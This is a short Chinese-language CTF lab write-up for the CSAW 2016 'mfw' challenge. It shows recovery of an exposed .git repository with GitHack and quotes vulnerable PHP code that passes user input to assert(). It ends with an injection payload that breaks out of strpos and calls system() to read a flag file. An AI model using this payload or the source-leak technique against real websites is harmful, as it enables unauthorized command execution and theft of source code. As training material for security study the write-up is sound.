git源码泄露,命令执行,传递参数闭合strpos函数
CSAW CTF 2016 Quals: mfw
【实验原理】
git源码泄露,命令执行
【实验目的】
了解git源码泄露的处理方法
【实验环境】
Windows
【实验工具】
firefox
【实验步骤】
1.打开题目后,点击About页面,发现网站使用Git、PHP、Bootstrap搭建而成,访问.git,发现存在源码泄露。
2.使用 GitHack ( https://github.com/lijiejie/GitHack
)工具,我们可以得到网站的源码。
3.查看源码中的flag.php文件,其中并没有flag,审计index.php文件,关键代码如下
<?phpif (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php";// I heard '..' is dangerous!assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look niceassert("file_exists('$file')") or die("That file doesn't exist!");?>
4.page没有经过任何过滤和处理,所以可以传递参数闭合strpos函数
5.设置page为'.system("cat ./templates/flag.php").'
,查看源代码,可获得flag,如图所示
赞 (0)